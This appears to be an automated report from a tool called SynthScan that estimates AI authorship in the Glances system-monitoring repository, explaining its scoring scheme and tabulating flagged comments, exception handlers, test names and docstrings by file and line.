Glances an Eye on your system. A top/htop alternative for GNU/Linux, BSD, Mac OS and Windows operating systems.
This report presents the forensic synthetic code analysis of nicolargo/glances, a Python project with 33,090 GitHub stars. SynthScan v2.0 examined 66,789 lines of code across 329 source files, recording 1270 pattern matches distributed across 16 syntactic categories. The overall adjusted score of 33.8 places this repository in the Strong AI signal band.
The scanner applied 160+ deterministic lexical heuristics, multi-line block detectors, abstract syntax tree depth profilers, and a cross-file Jaccard similarity matrix to construct a statistically normalised synthetic code estimate. All matches are individually weighted by severity coefficient and contextual multiplier before summation, and the resulting headline score is temporally discounted to account for the repository's development history relative to the commercial emergence of large language model coding tooling (November 2022 onward).
This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.
Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.
This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.
The scanner identified 1270 distinct pattern matches across 16 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.
Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | tests/test_export_influxdb_v1.sh | 33 | # Create the glances database | COMMENT |
| MEDIUM | tests/test_core.py | 1028 | # Create a test plugin with MMM enabled | COMMENT |
| MEDIUM | tests/test_core.py | 1167 | # Create a list of stats | COMMENT |
| MEDIUM | tests/test_plugin_virsh_injection.py | 3 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_outdated.py | 3 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_export_timescaledb.sh | 27 | # Create the glances database | COMMENT |
| MEDIUM | tests/test_xmlrpc.py | 3 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_amp_secure_popen.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | tests/test_mcp.py | 3 | # This file is part of Glances. | COMMENT |
| MEDIUM⚡ | tests/test_export_influxdb_v3.sh | 18 | # Create the token | COMMENT |
| MEDIUM⚡ | tests/test_export_influxdb_v3.sh | 24 | # Create a new configuration for the test | COMMENT |
| MEDIUM⚡ | tests/test_export_influxdb_v3.sh | 28 | # Create the glances database | COMMENT |
| MEDIUM⚡ | tests/test_duckdb_sanitize.py | 107 | # Create a target table that the injection would try to drop | COMMENT |
| MEDIUM | docs/conf.py | 5 | # This file is execfile()d with the current directory set to its | COMMENT |
| MEDIUM | glances/amps_list.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/stats_client.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/client_browser.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/standalone.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/event.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/server.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/web_list.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/attribute.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/servers_list_dynamic.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/servers_list_dynamic.py | 88 | # Create an instance of the servers list | COMMENT |
| MEDIUM | glances/config.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/config.py | 125 | """This class is used to access/read config file, if it exists. | STRING |
| MEDIUM | glances/thresholds.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/webserver.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/stats_server.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/stats_client_snmp.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/stats_client_snmp.py | 51 | # Create an instance of the SNMP client | COMMENT |
| MEDIUM | glances/timer.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/globals.py | 3 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/client.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/events_list.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/events_list.py | 285 | # Define the automatic process sort key | COMMENT |
| MEDIUM | glances/events_list.py | 288 | # Create the new log item | COMMENT |
| MEDIUM | glances/events_list.py | 356 | # Create a new clean list | COMMENT |
| MEDIUM | glances/secure.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/actions.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/__init__.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/__init__.py | 185 | # Create the Glances main instance | COMMENT |
| MEDIUM | glances/logger.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/logger.py | 26 | # Define the glances log file | COMMENT |
| MEDIUM | glances/logger.py | 40 | # Define the logging configuration | COMMENT |
| MEDIUM | glances/stats_streamer.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/processes.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/servers_list_static.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/programs.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/password_list.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/stats.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/snmp.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/cpu_percent.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/filter.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/outdated.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/outdated.py | 152 | # Create the cache directory | COMMENT |
| MEDIUM | glances/jwt_utils.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/password.py | 2 | # This file is part of Glances. | COMMENT |
| MEDIUM | glances/password.py | 110 | # Create the glances directory | COMMENT |
| MEDIUM | glances/main.py | 2 | # This file is part of Glances. | COMMENT |
| 162 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | tests/test_actions_sanitize.py | 47 | def test_empty_dict_returns_empty(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 56 | def test_strips_double_ampersand(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 68 | def test_strips_append_redirect(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 74 | def test_strips_multiple_operators(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 83 | def test_preserves_int_values(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 88 | def test_preserves_float_values(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 93 | def test_preserves_none_values(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 98 | def test_preserves_bool_values(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 103 | def test_preserves_list_of_numbers(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 109 | def test_strips_operators_in_nested_list(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 116 | def test_strips_operators_in_nested_dict(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 122 | def test_strips_operators_in_deeply_nested(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 127 | def test_preserves_tuple_type(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 133 | def test_sanitize_value_passthrough_non_string(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 139 | def test_clean_string_unchanged(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 145 | def test_does_not_mutate_original(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 164 | def test_pipe_injection_in_process_name(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 175 | def test_chain_injection_in_container_name(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 189 | def test_redirect_injection_in_mount_point(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 199 | def test_append_redirect_injection(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 207 | def test_lone_ampersand_is_stripped(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 214 | def test_cross_field_ampersand_reconstruction_blocked(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 297 | def test_run_sanitizes_chain_in_mustache(self, actions): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 311 | def test_run_sanitizes_redirect_in_mustache(self, actions): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 451 | def test_allow_operators_true_when_no_args(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 454 | def test_allow_operators_true_when_flag_absent(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 457 | def test_allow_operators_false_when_disabled(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 460 | def test_allow_operators_true_when_enabled(self): | CODE |
| LOW⚡ | tests/test_actions_sanitize.py | 463 | def test_run_passes_allow_operators_false_when_disabled(self): | CODE |
| LOW | tests/test_actions_sanitize.py | 269 | def test_run_with_safe_values(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 280 | def test_run_sanitizes_pipe_in_mustache(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 325 | def test_run_preserves_template_operators(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 342 | def test_run_preserves_template_redirect(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 357 | def test_run_preserves_template_chain(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 371 | def test_run_sanitizes_cmdline_section(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 387 | def test_run_blocks_cross_field_ampersand_chain(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 402 | def test_run_does_not_execute_when_already_triggered(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 414 | def test_run_repeats_when_repeat_true(self, actions): | CODE |
| LOW | tests/test_actions_sanitize.py | 478 | def test_run_passes_allow_operators_true_by_default(self): | CODE |
| LOW | tests/test_actions_sanitize.py | 493 | def test_run_disabled_does_not_write_redirect_file(self): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 143 | def test_serverlist_section_exists(self, browser_config): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 146 | def test_passwords_section_exists(self, browser_config): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 190 | def test_server_type_is_static(self, servers_list): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 194 | def test_server_initial_status(self, servers_list): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 198 | def test_server_default_username(self, servers_list): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 202 | def test_server_default_empty_password(self, servers_list): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 215 | def test_host_specific_password(self, servers_list): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 225 | def test_no_password_without_default(self): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 264 | def test_uri_without_password(self, servers_list): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 293 | def test_uri_protected_uses_saved_password(self, servers_list): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 310 | def test_uri_protected_default_fallback(self, servers_list): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 325 | def test_uri_static_uses_name_not_ip(self, servers_list): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 352 | def test_uri_dynamic_uses_ip_not_name(self, servers_list): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 367 | def test_uri_dynamic_protected_no_saved_password(self, servers_list): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 385 | def test_uri_dynamic_no_default_password_fallback(self, servers_list): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 403 | def test_get_connect_host_static(self, servers_list): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 407 | def test_get_connect_host_dynamic(self, servers_list): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 411 | def test_get_preconfigured_password_static(self, servers_list): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 415 | def test_get_preconfigured_password_dynamic_returns_none(self, servers_list): | CODE |
| LOW⚡ | tests/test_browser_tui.py | 419 | def test_get_preconfigured_password_dynamic_no_default(self, servers_list): | CODE |
| 419 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM⚡ | tests/test_actions_sanitize.py | 36 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_actions_sanitize.py | 38 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_actions_sanitize.py | 156 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_actions_sanitize.py | 158 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_actions_sanitize.py | 224 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_actions_sanitize.py | 226 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_actions_sanitize.py | 253 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_actions_sanitize.py | 255 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_actions_sanitize.py | 427 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_actions_sanitize.py | 429 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 135 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 137 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 207 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 209 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 232 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 234 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 256 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 258 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 341 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 343 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 425 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_tui.py | 427 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_tui.py | 31 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_tui.py | 33 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_tui.py | 101 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_tui.py | 103 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_tui.py | 163 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_tui.py | 165 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_core.py | 67 | # ================= | COMMENT |
| MEDIUM | tests/test_core.py | 80 | # ============== | COMMENT |
| MEDIUM | tests/test_plugin_virsh_injection.py | 37 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_plugin_virsh_injection.py | 39 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_plugin_virsh_injection.py | 54 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_plugin_virsh_injection.py | 56 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_plugin_virsh_injection.py | 152 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_plugin_virsh_injection.py | 154 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 130 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 132 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 139 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 141 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 181 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 183 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 266 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_browser_restful.py | 268 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 31 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 33 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 53 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 55 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 102 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 104 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 216 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_browser_restful.py | 218 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | tests/test_api.py | 17 | # ================= | COMMENT |
| MEDIUM⚡ | tests/test_amp_secure_popen.py | 36 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_amp_secure_popen.py | 38 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_amp_secure_popen.py | 64 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_amp_secure_popen.py | 66 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | tests/test_mcp.py | 380 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM⚡ | tests/test_mcp.py | 382 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM⚡ | tests/test_mcp.py | 413 | # ------------------------------------------------------------------ | COMMENT |
| 45 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tests/test_core.py | 227 | except Exception as e: | CODE |
| LOW | tests/test_core.py | 233 | except Exception as e: | CODE |
| LOW | tests/test_outdated.py | 88 | except Exception: | CODE |
| LOW⚡ | tests/test_plugin_sensors.py | 282 | except Exception as e: | CODE |
| LOW⚡ | tests/test_plugin_sensors.py | 292 | except Exception as e: | CODE |
| LOW⚡ | tests/test_plugin_sensors.py | 304 | except Exception as e: | CODE |
| LOW | .claude/skills/new-export.md | 66 | except Exception as e: | CODE |
| LOW | .claude/skills/new-export.md | 86 | except Exception as e: | CODE |
| MEDIUM | tests-data/tools/csvcheck.py | 23 | print("Error: CSV file is empty") | CODE |
| MEDIUM⚡ | tests-data/tools/csvcheck.py | 35 | print(f"Error: Expected {expected_lines} lines, but found {row_count}") | CODE |
| MEDIUM⚡ | tests-data/tools/csvcheck.py | 42 | print("Error: Not all rows have the same number of columns") | CODE |
| MEDIUM⚡ | tests-data/tools/csvcheck.py | 52 | print(f"Error: Expected {expected_columns} columns, but found {header_columns}") | CODE |
| MEDIUM⚡ | tests-data/tools/csvcheck.py | 59 | print(f"Error: File '{input_file}' not found") | CODE |
| LOW⚡ | tests-data/tools/csvcheck.py | 61 | except Exception as e: | CODE |
| MEDIUM⚡ | tests-data/tools/csvcheck.py | 62 | print(f"Error processing CSV file: {str(e)}") | CODE |
| MEDIUM | tests-data/tools/csvcheck.py | 15 | def check_csv(input_file, expected_lines, expected_columns=None): | CODE |
| MEDIUM⚡ | tests-data/tools/duckdbcheck.py | 25 | print(f"Error: Expected {expected_lines} CPU lines, but found {row_count}") | CODE |
| MEDIUM⚡ | tests-data/tools/duckdbcheck.py | 33 | print(f"Error: Expected {expected_lines} Network lines, but found {row_count}") | CODE |
| MEDIUM⚡ | tests-data/tools/duckdbcheck.py | 39 | print(f"Error: File '{input_file}' not found") | CODE |
| LOW⚡ | tests-data/tools/duckdbcheck.py | 41 | except Exception as e: | CODE |
| MEDIUM⚡ | tests-data/tools/duckdbcheck.py | 42 | print(f"Error processing DuckDB file: {str(e)}") | CODE |
| MEDIUM | tests-data/tools/duckdbcheck.py | 16 | def check_duckdb(input_file, expected_lines, expected_columns=None): | CODE |
| LOW | glances/amps_list.py | 60 | except Exception as e: | CODE |
| LOW | glances/server.py | 62 | except Exception: | CODE |
| LOW | glances/server.py | 229 | except Exception as e: | CODE |
| LOW | glances/servers_list_dynamic.py | 226 | except Exception as e: | CODE |
| LOW | glances/stats_client_snmp.py | 99 | except Exception as e: | CODE |
| LOW | glances/globals.py | 169 | except Exception as e: | CODE |
| LOW | glances/globals.py | 226 | except Exception as e: | CODE |
| LOW | glances/client.py | 70 | except Exception as e: | CODE |
| LOW | glances/client.py | 245 | except Exception: | CODE |
| LOW | glances/client.py | 290 | except Exception: | CODE |
| LOW | glances/stats_streamer.py | 64 | except Exception as e: | CODE |
| LOW | glances/processes.py | 124 | except Exception as e: | CODE |
| LOW | glances/processes.py | 135 | except Exception as e: | CODE |
| LOW | glances/processes.py | 817 | except Exception as e: | CODE |
| LOW | glances/stats.py | 116 | except Exception as e: | CODE |
| LOW | glances/stats.py | 234 | except Exception as e: | CODE |
| LOW | glances/cpu_percent.py | 253 | except Exception as e: | CODE |
| LOW | glances/filter.py | 130 | except Exception as e: | CODE |
| LOW | glances/outdated.py | 25 | except Exception as e: | CODE |
| LOW | glances/outdated.py | 131 | except Exception as e: | CODE |
| LOW | glances/outdated.py | 166 | except Exception as e: | CODE |
| LOW | glances/outdated.py | 178 | except Exception as e: | CODE |
| LOW | glances/servers_list.py | 183 | except Exception as e: | CODE |
| LOW | glances/folder_list.py | 108 | except Exception: | CODE |
| LOW | glances/amps/systemv/__init__.py | 61 | except Exception as e: | CODE |
| LOW | glances/amps/default/__init__.py | 70 | except Exception as e: | CODE |
| LOW | glances/plugins/processlist/__init__.py | 193 | except Exception: | CODE |
| LOW | glances/plugins/sensors/__init__.py | 118 | except Exception as e: | CODE |
| LOW | glances/plugins/sensors/__init__.py | 156 | except Exception as e: | CODE |
| LOW | glances/plugins/sensors/sensor/glances_batpercent.py | 32 | except Exception as e: | CODE |
| LOW | glances/plugins/sensors/sensor/glances_batpercent.py | 50 | except Exception as e: | CODE |
| LOW | glances/plugins/sensors/sensor/glances_hddtemp.py | 134 | except Exception as e: | CODE |
| LOW | glances/plugins/diskio/__init__.py | 149 | except Exception: | CODE |
| LOW⚡ | glances/plugins/gpu/__init__.py | 90 | except Exception as e: | CODE |
| LOW⚡ | glances/plugins/gpu/__init__.py | 97 | except Exception as e: | CODE |
| LOW⚡ | glances/plugins/gpu/__init__.py | 106 | except Exception as e: | CODE |
| LOW⚡ | glances/plugins/gpu/__init__.py | 115 | except Exception as e: | CODE |
| LOW | glances/plugins/gpu/cards/nvidia.py | 36 | except Exception as e: | CODE |
| 139 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | tests/test_plugin_load.py | 0 | test that get_items_history_list returns the history items. | STRING |
| HIGH | tests/test_plugin_cpu.py | 0 | test that get_items_history_list returns the history items. | STRING |
| HIGH | tests/test_plugin_memswap.py | 0 | test that get_items_history_list returns the history items. | STRING |
| HIGH | tests/test_plugin_processcount.py | 0 | test that get_items_history_list returns the history items. | STRING |
| HIGH | tests/test_plugin_mem.py | 0 | test that get_items_history_list returns the history items. | STRING |
| HIGH | tests/test_plugin_load.py | 0 | test that msg_curse returns properly formatted entries. | STRING |
| HIGH | tests/test_plugin_cpu.py | 0 | test that msg_curse returns properly formatted entries. | STRING |
| HIGH | tests/test_plugin_processcount.py | 0 | test that msg_curse returns properly formatted entries. | STRING |
| HIGH | tests/test_plugin_mem.py | 0 | test that msg_curse returns properly formatted entries. | STRING |
| HIGH | tests/test_plugin_network.py | 0 | test that msg_curse returns empty without max_width. | STRING |
| HIGH | tests/test_plugin_fs.py | 0 | test that msg_curse returns empty without max_width. | STRING |
| HIGH | tests/test_plugin_diskio.py | 0 | test that msg_curse returns empty without max_width. | STRING |
| HIGH | tests/test_plugin_sensors.py | 0 | test that msg_curse returns empty without max_width. | STRING |
| HIGH | tests-data/issues/issue3319.py | 0 | exit the function if it takes more than 'seconds' seconds to complete. in this case, return the value of 'default' (defa | STRING |
| HIGH | tests-data/issues/issue3290.py | 0 | exit the function if it takes more than 'seconds' seconds to complete. in this case, return the value of 'default' (defa | STRING |
| HIGH | glances/globals.py | 0 | exit the function if it takes more than 'seconds' seconds to complete. in this case, return the value of 'default' (defa | STRING |
| HIGH | glances/plugins/plugin/model.py | 0 | return the string to display in the curse interface. | STRING |
| HIGH | glances/plugins/system/__init__.py | 0 | return the string to display in the curse interface. | STRING |
| HIGH | glances/plugins/now/__init__.py | 0 | return the string to display in the curse interface. | STRING |
| HIGH | glances/plugins/cloud/__init__.py | 0 | return the string to display in the curse interface. | STRING |
| HIGH | glances/plugins/uptime/__init__.py | 0 | return the string to display in the curse interface. | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | requirements.txt | 1 | # This file was autogenerated by uv via the following command: | COMMENT |
| LOW | dev-requirements.txt | 1 | # This file was autogenerated by uv via the following command: | COMMENT |
| LOW | dev-requirements.txt | 21 | # reuse | COMMENT |
| LOW | dev-requirements.txt | 41 | cffi==2.1.0 ; (implementation_name != 'pypy' and os_name == 'nt') or platform_python_implementation != 'PyPy' | COMMENT |
| LOW | dev-requirements.txt | 61 | # pytest | COMMENT |
| LOW | dev-requirements.txt | 81 | # via | COMMENT |
| LOW | dev-requirements.txt | 101 | # via semgrep | COMMENT |
| LOW | dev-requirements.txt | 121 | # httpx | COMMENT |
| LOW | dev-requirements.txt | 161 | # via markdown-it-py | COMMENT |
| LOW | dev-requirements.txt | 181 | # via | COMMENT |
| LOW | dev-requirements.txt | 201 | opentelemetry-proto==1.37.0 | COMMENT |
| LOW | dev-requirements.txt | 221 | # via | COMMENT |
| LOW | dev-requirements.txt | 241 | protobuf==6.33.6 | COMMENT |
| LOW | dev-requirements.txt | 261 | # rich | COMMENT |
| LOW | dev-requirements.txt | 281 | python-dotenv==1.2.2 | COMMENT |
| LOW | dev-requirements.txt | 301 | # opentelemetry-exporter-otlp-proto-http | COMMENT |
| LOW | dev-requirements.txt | 341 | # via trio | COMMENT |
| LOW | dev-requirements.txt | 361 | sphinxcontrib-devhelp==2.0.0 | COMMENT |
| LOW | dev-requirements.txt | 381 | tomli==2.4.1 | COMMENT |
| LOW | dev-requirements.txt | 401 | # opentelemetry-api | COMMENT |
| LOW | dev-requirements.txt | 421 | # pydantic-settings | COMMENT |
| LOW | docker-requirements.txt | 1 | # This file was autogenerated by uv via the following command: | COMMENT |
| LOW | docker-requirements.txt | 21 | # requests | COMMENT |
| LOW | docker-requirements.txt | 41 | exceptiongroup==1.2.2 ; python_full_version < '3.11' | COMMENT |
| LOW | docker-requirements.txt | 61 | # via glances | COMMENT |
| LOW | docker-requirements.txt | 81 | # via cffi | COMMENT |
| LOW | docker-requirements.txt | 101 | python-dotenv==1.2.2 | COMMENT |
| LOW | docker-requirements.txt | 121 | # requests-toolbelt | COMMENT |
| LOW | docker-requirements.txt | 141 | sse-starlette==3.4.5 | COMMENT |
| LOW | docker-requirements.txt | 161 | # typing-inspection | COMMENT |
| LOW | all-requirements.txt | 1 | # This file was autogenerated by uv via the following command: | COMMENT |
| LOW | all-requirements.txt | 21 | # via glances | COMMENT |
| LOW | all-requirements.txt | 41 | click==8.1.8 | COMMENT |
| LOW | all-requirements.txt | 61 | elastic-transport==9.4.2 | COMMENT |
| LOW | all-requirements.txt | 81 | humanfriendly==10.0 | COMMENT |
| LOW | all-requirements.txt | 101 | # via glances | COMMENT |
| LOW | all-requirements.txt | 141 | # via bernhard | COMMENT |
| LOW | all-requirements.txt | 161 | # pydantic-settings | COMMENT |
| LOW | all-requirements.txt | 181 | pyreadline3==3.5.6 ; sys_platform == 'win32' | COMMENT |
